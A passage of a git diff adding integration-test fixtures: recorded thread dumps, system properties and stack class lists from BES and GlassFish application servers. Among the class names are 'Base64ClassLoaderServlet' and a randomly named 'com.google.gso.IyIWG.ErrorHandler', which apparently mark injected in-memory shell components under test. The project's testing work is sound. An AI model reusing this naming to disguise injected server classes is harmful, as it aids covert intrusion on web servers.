java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"LogFileManager.EventManager" #58 daemon [WAITING] on java.lang.Object@4383bb66 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.bes.org.objectweb.howl.log.LogFileManager$EventManager.run(LogFileManager.java:1236) + +"RMI RenewClean-[192.168.215.4:6600]" #104 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@712da028 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563) + at java.lang.Thread.run(Thread.java:750) + +"jmsra-WorkerThread-2" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@357b6c35 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"KeepAliveTimer" #66 daemon [TIMED_WAITING] on java.util.TaskQueue@3b02e833 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"httpWorkerThread-1900-2" #70 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e5ab5ec + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@1984fa36 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"RetryTimer" #60 daemon [WAITING] on java.util.TaskQueue@47823aeb + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.bes.ejb.spark.tcp.threadpool.PreSelector +com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl +com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl +com.bes.ejb.spark.tcp.transport.AcceptorThread +com.bes.enterprise.appserver.startup.Bootstrap +com.bes.enterprise.appserver.startup.CommonClassLoader$1 +com.bes.enterprise.base.disruptor.BatchEventProcessor +com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier +com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy +com.bes.enterprise.base.disruptor.util.Util +com.bes.enterprise.server.builder.BesWebModule +com.bes.enterprise.startup.ASMain +com.bes.enterprise.web.crane.AbstractProcessorLight +com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout +com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler +com.bes.enterprise.web.crane.http11.Http11Processor +com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller +com.bes.enterprise.web.util.net.NioEndpoint$Acceptor +com.bes.enterprise.web.util.net.NioEndpoint$Poller +com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor +com.bes.enterprise.web.util.net.SocketProcessorBase +com.bes.enterprise.web.util.threads.WorkQueue +com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable +com.bes.enterprise.web.websocket.server.WsFilter +com.bes.enterprise.webext.BESAppservValve +com.bes.enterprise.webext.BesContextCleanupValve +com.bes.enterprise.webtier.authenticator.AuthenticatorBase +com.bes.enterprise.webtier.connector.CoyoteAdapter +com.bes.enterprise.webtier.connector.CoyoteWriter +com.bes.enterprise.webtier.core.ApplicationFilterChain +com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor +com.bes.enterprise.webtier.core.DefaultContextValve +com.bes.enterprise.webtier.core.DefaultEngineValve +com.bes.enterprise.webtier.core.DefaultHostValve +com.bes.enterprise.webtier.core.DefaultWrapperValve +com.bes.enterprise.webtier.valves.ErrorReportValve +com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager +com.bes.org.objectweb.howl.log.LogFileManager$EventManager +com.google.gso.IyIWG.ErrorHandler diff --git a/integration-test/src/test/resources/infos/GlassFish3ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/GlassFish3ContainerTestBasicInfo.txt new file mode 100644 index 00000000..ff79bdb0 --- /dev/null +++ b/integration-test/src/test/resources/infos/GlassFish3ContainerTestBasicInfo.txt @@ -0,0 +1,724 @@ +# Generated At 2025-08-10 14:56:33 +SystemProps: +com.sun.aas.imqBin: /usr/local/glassfish3/mq/bin +java.vendor: Sun Microsystems Inc. +sun.java.launcher: SUN_STANDARD +catalina.base: /usr/local/glassfish3/glassfish/domains/domain1 +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +com.sun.enterprise.jaccprovider.property.repository: /usr/local/glassfish3/glassfish/domains/domain1/generated/policy +catalina.useNaming: false +os.name: Linux +java.util.logging.config.file: /usr/local/glassfish3/glassfish/domains/domain1/config/logging.properties +sun.boot.class.path: /usr/local/glassfish3/glassfish/modules/endorsed/javax.annotation.jar:/opt/java/jdk1.6.0_45/jre/lib/resources.jar:/opt/java/jdk1.6.0_45/jre/lib/rt.jar:/opt/java/jdk1.6.0_45/jre/lib/sunrsasign.jar:/opt/java/jdk1.6.0_45/jre/lib/jsse.jar:/opt/java/jdk1.6.0_45/jre/lib/jce.jar:/opt/java/jdk1.6.0_45/jre/lib/charsets.jar:/opt/java/jdk1.6.0_45/jre/lib/modules/jdk.boot.jar:/opt/java/jdk1.6.0_45/jre/classes +javax.security.jacc.PolicyConfigurationFactory.provider: com.sun.enterprise.security.provider.PolicyConfigurationFactoryImpl +AS_DEF_NODES_PATH: ../nodes +felix.fileinstall.poll: 5000 +java.vm.specification.vendor: Sun Microsystems Inc. +osgi.shell.telnet.maxconn: 1 +java.runtime.version: 1.6.0_45-b06 +javax.net.ssl.keyStore: /usr/local/glassfish3/glassfish/domains/domain1/config/keystore.jks +user.name: root +shared.loader: ${catalina.home}/shared/classes,${catalina.home}/shared/lib/*.jar +web.home: /usr/local/glassfish3/glassfish/modules/web +osgi.shell.telnet.ip: 127.0.0.1 +com.sun.enterprise.config.config_environment_factory_class: com.sun.enterprise.config.serverbeans.AppserverConfigEnvironmentFactory +felix.fileinstall.log.level: 2 +com.sun.aas.agentRoot: /usr/local/glassfish3/glassfish/nodes +user.language: en +sun.boot.library.path: /opt/java/jdk1.6.0_45/jre/lib/amd64 +com.sun.aas.javaRoot: /opt/java/jdk1.6.0_45/jre +AS_IMQ_LIB: ../../mq/lib +java.version: 1.6.0_45 +com.sun.aas.instanceRootURI: file:/usr/local/glassfish3/glassfish/domains/domain1/ +user.timezone: UTC +sun.arch.data.model: 64 +java.endorsed.dirs: /usr/local/glassfish3/glassfish/modules/endorsed:/usr/local/glassfish3/glassfish/lib/endorsed +java.rmi.server.randomIDs: true +com.sun.aas.installRoot: /usr/local/glassfish3/glassfish +sun.cpu.isalist: +sun.jnu.encoding: ANSI_X3.4-1968 +file.encoding.pkg: sun.io +package.access: +file.separator: / +java.specification.name: Java Platform API Specification +java.class.version: 50.0 +user.country: US +java.home: /opt/java/jdk1.6.0_45/jre +felix.fileinstall.dir: /usr/local/glassfish3/glassfish/modules/autostart/ +java.vm.info: mixed mode +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +com.sun.aas.productRoot: /usr/local/glassfish3 +com.sun.aas.installRootURI: file:/usr/local/glassfish3/glassfish/ +path.separator: : +java.vm.version: 20.45-b01 +AS_CONFIG: /usr/local/glassfish3/glassfish/config/../config +jdbc.drivers: org.apache.derby.jdbc.ClientDriver +AS_IMQ_BIN: ../../mq/bin +java.awt.printerjob: sun.print.PSPrinterJob +java.security.policy: /usr/local/glassfish3/glassfish/domains/domain1/config/server.policy +sun.io.unicode.encoding: UnicodeLittle +com.sun.aas.hostName: f689e4e8573e +package.definition: +AS_INSTALL: /usr/local/glassfish3/glassfish/config/.. +felix.fileinstall.disableConfigSave: false +user.home: /root +com.sun.aas.instanceName: server +com.sun.aas.configRoot: /usr/local/glassfish3/glassfish/config +com.sun.aas.derbyRoot: /usr/local/glassfish3/javadb +java.specification.vendor: Sun Microsystems Inc. +AS_DERBY_INSTALL: /usr/local/glassfish3/glassfish/config/../../javadb +java.library.path: /usr/local/glassfish3/glassfish/lib:/opt/java/jdk1.6.0_45/jre/lib/amd64/server:/opt/java/jdk1.6.0_45/jre/lib/amd64:/opt/java/jdk1.6.0_45/lib/amd64:/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib +java.vendor.url: http://java.sun.com/ +java.vm.vendor: Sun Microsystems Inc. +common.loader: ${catalina.home}/common/classes,${catalina.home}/common/endorsed/*.jar,${catalina.home}/common/lib/*.jar +java.runtime.name: Java(TM) SE Runtime Environment +security.home: /usr/local/glassfish3/glassfish/modules/security +sun.java.command: com.sun.enterprise.glassfish.bootstrap.ASMain -domainname domain1 -asadmin-args --host,,,localhost,,,--port,,,4848,,,--secure=false,,,--terse=false,,,--echo=false,,,--interactive=false,,,start-domain,,,--verbose=true,,,--debug=false,,,--domaindir,,,/usr/local/glassfish3/glassfish/domains,,,domain1 -instancename server -verbose true -debug false -asadmin-classpath /usr/local/glassfish3/glassfish/modules/admin-cli.jar -asadmin-classname com.sun.enterprise.admin.cli.AsadminMain -upgrade false -type DAS -domaindir /usr/local/glassfish3/glassfish/domains/domain1 -read-stdin true +java.class.path: /usr/local/glassfish3/glassfish/modules/glassfish.jar:/usr/local/glassfish3/glassfish/lib/monitor/flashlight-agent.jar +GlassFish_Platform: Felix +java.vm.specification.name: Java Virtual Machine Specification +catalina.home: /usr/local/glassfish3/glassfish/domains/domain1 +java.vm.specification.version: 1.0 +sun.cpu.endian: little +sun.os.patch.level: unknown +java.awt.headless: true +gosh.args: --nointeractive +java.io.tmpdir: /tmp +com.sun.aas.imqLib: /usr/local/glassfish3/mq/lib +AS_DEF_DOMAINS_PATH: /usr/local/glassfish3/glassfish/config/../domains +java.vendor.url.bug: http://java.sun.com/cgi-bin/bugreport.cgi +server.loader: ${catalina.home}/server/classes,${catalina.home}/server/lib/*.jar +com.sun.aas.domainsRoot: /usr/local/glassfish3/glassfish/domains +os.arch: amd64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /opt/java/jdk1.6.0_45/jre/lib/ext:/opt/java/jdk1.6.0_45/jre/jre/lib/ext:/usr/local/glassfish3/glassfish/domains/domain1/lib/ext +felix.fileinstall.bundles.startTransient: true +user.dir: /usr/local/glassfish3/glassfish/domains/domain1/config +com.sun.aas.instanceRoot: /usr/local/glassfish3/glassfish/domains/domain1 +line.separator: + +java.vm.name: Java HotSpot(TM) 64-Bit Server VM +glassfish.version: GlassFish Server Open Source Edition 3.1.2.2 (build 5) +java.security.auth.login.config: /usr/local/glassfish3/glassfish/domains/domain1/config/login.conf +javax.management.builder.initial: com.sun.enterprise.v3.admin.AppServerMBeanServerBuilder +file.encoding: ANSI_X3.4-1968 +com.sun.enterprise.security.httpsOutboundKeyAlias: s1as +ANTLR_USE_DIRECT_CLASS_LOADING: true +felix.fileinstall.bundles.new.start: true +java.specification.version: 1.6 +javax.net.ssl.trustStore: /usr/local/glassfish3/glassfish/domains/domain1/config/cacerts.jks +osgi.shell.telnet.port: 6666 + +=========================================== + +ThreadStacks: +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"RMI Scheduler(0)" #66 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@591ce164 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2025) + at java.util.concurrent.DelayQueue.take(DelayQueue.java:164) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:609) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:602) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:957) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:917) + at java.lang.Thread.run(Thread.java:662) + +"http-thread-pool-8080(1)" #49 daemon [WAITING] on maskedclasses.LinkedTransferQueue@771199f0 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:156) + at maskedclasses.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:724) + at maskedclasses.LinkedTransferQueue.xfer(LinkedTransferQueue.java:633) + at maskedclasses.LinkedTransferQueue.take(LinkedTransferQueue.java:1083) + at com.sun.grizzly.util.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:239) + at com.sun.grizzly.util.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:524) + at com.sun.grizzly.util.AbstractThreadPool$Worker.run(AbstractThreadPool.java:513) + at java.lang.Thread.run(Thread.java:662) + +"Thread-12" #24 [TIMED_WAITING] on java.util.concurrent.atomic.AtomicInteger@2ce628d8 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.sun.grizzly.Controller.waitUntilSelectorHandlersStop(Controller.java:1119) + at com.sun.grizzly.Controller.start(Controller.java:869) + at com.sun.grizzly.http.SelectorThread.startListener(SelectorThread.java:1306) + at com.sun.grizzly.http.SelectorThread.run(SelectorThread.java:1144) + at com.sun.grizzly.http.SelectorThread.startEndpoint(SelectorThread.java:1233) + at com.sun.enterprise.v3.services.impl.GrizzlyListener.startEndpoint(GrizzlyListener.java:142) + at com.sun.enterprise.v3.services.impl.GrizzlyProxy$2.run(GrizzlyProxy.java:342) + +"http-thread-pool-8080(5)" #54 daemon [WAITING] on maskedclasses.LinkedTransferQueue@771199f0 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:156) + at maskedclasses.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:724) + at maskedclasses.LinkedTransferQueue.xfer(LinkedTransferQueue.java:633) + at maskedclasses.LinkedTransferQueue.take(LinkedTransferQueue.java:1083) + at com.sun.grizzly.util.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:239) + at com.sun.grizzly.util.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:524) + at com.sun.grizzly.util.AbstractThreadPool$Worker.run(AbstractThreadPool.java:513) + at java.lang.Thread.run(Thread.java:662) + +"FelixStartLevel" #12 daemon [WAITING] on [Ljava.lang.Object;@249198a2 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.felix.framework.Felix.acquireBundleLock(Felix.java:4870) + at org.apache.felix.framework.Felix.registerService(Felix.java:3205) + at org.apache.felix.framework.BundleContextImpl.registerService(BundleContextImpl.java:346) + at org.apache.felix.framework.BundleContextImpl.registerService(BundleContextImpl.java:320) + at org.apache.felix.eventadmin.impl.Configuration.startOrUpdate(Configuration.java:354) + at org.apache.felix.eventadmin.impl.Configuration.(Configuration.java:152) + at org.apache.felix.eventadmin.impl.Activator.start(Activator.java:65) + at org.apache.felix.framework.util.SecureAction.startActivator(SecureAction.java:641) + at org.apache.felix.framework.Felix.activateBundle(Felix.java:1977) + at org.apache.felix.framework.Felix.startBundle(Felix.java:1895) + at org.apache.felix.framework.Felix.setActiveStartLevel(Felix.java:1191) + at org.apache.felix.framework.FrameworkStartLevelImpl.run(FrameworkStartLevelImpl.java:295) + at java.lang.Thread.run(Thread.java:662) + +"pool-6-thread-1" #47 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@8a353ed + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:424) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:323) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:874) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:955) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:917) + at java.lang.Thread.run(Thread.java:662) + +"transaction-manager" #33 daemon [WAITING] on java.util.TaskQueue@1c0693a5 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at java.util.TimerThread.mainLoop(Timer.java:483) + at java.util.TimerThread.run(Timer.java:462) + +"http-thread-pool-8080(2)" #51 daemon [WAITING] on maskedclasses.LinkedTransferQueue@771199f0 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:156) + at maskedclasses.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:724) + at maskedclasses.LinkedTransferQueue.xfer(LinkedTransferQueue.java:633) + at maskedclasses.LinkedTransferQueue.take(LinkedTransferQueue.java:1083) + at com.sun.grizzly.util.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:239) + at com.sun.grizzly.util.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:524) + at com.sun.grizzly.util.AbstractThreadPool$Worker.run(AbstractThreadPool.java:513) + at java.lang.Thread.run(Thread.java:662) + +"pool-7-thread-1" #48 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@8a353ed + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:424) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:323) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:874) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:955) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:917) + at java.lang.Thread.run(Thread.java:662) + +"Thread-2" #14 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6decb6a + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:156) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1987) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:322) + at com.sun.enterprise.server.logging.GFFileHandler.log(GFFileHandler.java:658) + at com.sun.enterprise.server.logging.GFFileHandler$1.run(GFFileHandler.java:179) + +"GlassFish Kernel Main Thread" #58 [WAITING] on com.sun.enterprise.v3.server.AppServerStartup$1@1e450448 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at com.sun.enterprise.v3.server.AppServerStartup$1.run(AppServerStartup.java:163) + +"FelixDispatchQueue" #11 daemon [WAITING] on java.util.ArrayList@317c9937 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.felix.framework.util.EventDispatcher.run(EventDispatcher.java:1063) + at org.apache.felix.framework.util.EventDispatcher.access$000(EventDispatcher.java:54) + at org.apache.felix.framework.util.EventDispatcher$1.run(EventDispatcher.java:101) + at java.lang.Thread.run(Thread.java:662) + +"deployment-jar-scanner" #40 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1adaf109 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:156) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1987) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:399) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:957) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:917) + at java.lang.Thread.run(Thread.java:662) + +"Thread-15" #27 [TIMED_WAITING] on java.util.concurrent.atomic.AtomicInteger@1f421ab0 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.sun.grizzly.Controller.waitUntilSelectorHandlersStop(Controller.java:1119) + at com.sun.grizzly.Controller.start(Controller.java:869) + at com.sun.grizzly.http.SelectorThread.startListener(SelectorThread.java:1306) + at com.sun.grizzly.http.SelectorThread.run(SelectorThread.java:1144) + at com.sun.grizzly.http.SelectorThread.startEndpoint(SelectorThread.java:1233) + at com.sun.enterprise.v3.services.impl.GrizzlyListener.startEndpoint(GrizzlyListener.java:140) + at com.sun.enterprise.v3.services.impl.GrizzlyProxy$2.run(GrizzlyProxy.java:342) + +"DestroyJavaVM" #59 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"pool-5-thread-1" #46 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@8a353ed + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:424) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:323) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:874) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:955) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:917) + at java.lang.Thread.run(Thread.java:662) + +"GC Daemon" #63 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@52bbc66f + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:100) + +"Configuration Updater" #60 daemon [WAITING] on java.util.LinkedList@25e0cbd8 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:67) + +"pool-3-thread-1" #35 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@8a353ed + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:424) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:323) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:874) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:955) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:917) + at java.lang.Thread.run(Thread.java:662) + +"Thread-18" #30 [TIMED_WAITING] on java.util.concurrent.atomic.AtomicInteger@73c74402 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.sun.grizzly.Controller.waitUntilSelectorHandlersStop(Controller.java:1119) + at com.sun.grizzly.Controller.start(Controller.java:869) + at com.sun.grizzly.http.SelectorThread.startListener(SelectorThread.java:1306) + at com.sun.grizzly.http.SelectorThread.run(SelectorThread.java:1144) + at com.sun.grizzly.http.SelectorThread.startEndpoint(SelectorThread.java:1233) + at com.sun.enterprise.v3.services.impl.GrizzlyListener.startEndpoint(GrizzlyListener.java:140) + at com.sun.enterprise.v3.services.impl.GrizzlyProxy$2.run(GrizzlyProxy.java:342) + +"deployment-jar-scanner" #37 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1adaf109 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:156) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1987) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:399) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:957) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:917) + at java.lang.Thread.run(Thread.java:662) + +"http-thread-pool-8080(3)" #52 daemon [WAITING] on maskedclasses.LinkedTransferQueue@771199f0 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:156) + at maskedclasses.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:724) + at maskedclasses.LinkedTransferQueue.xfer(LinkedTransferQueue.java:633) + at maskedclasses.LinkedTransferQueue.take(LinkedTransferQueue.java:1083) + at com.sun.grizzly.util.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:239) + at com.sun.grizzly.util.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:524) + at com.sun.grizzly.util.AbstractThreadPool$Worker.run(AbstractThreadPool.java:513) + at java.lang.Thread.run(Thread.java:662) + +"deployment-jar-scanner" #38 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1adaf109 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:156) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1987) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:399) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:957) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:917) + at java.lang.Thread.run(Thread.java:662) + +"Grizzly-kernel-thread(1)" #26 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:210) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:65) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:69) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:80) + at com.sun.grizzly.TCPSelectorHandler.select(TCPSelectorHandler.java:513) + at com.sun.grizzly.SelectorHandlerRunner.doSelect(SelectorHandlerRunner.java:190) + at com.sun.grizzly.SelectorHandlerRunner.run(SelectorHandlerRunner.java:132) + at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:895) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:918) + at java.lang.Thread.run(Thread.java:662) + +"Grizzly-kernel-thread(1)" #29 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:210) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:65) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:69) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:80) + at com.sun.grizzly.TCPSelectorHandler.select(TCPSelectorHandler.java:513) + at com.sun.grizzly.SelectorHandlerRunner.doSelect(SelectorHandlerRunner.java:190) + at com.sun.grizzly.SelectorHandlerRunner.run(SelectorHandlerRunner.java:132) + at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:895) + at 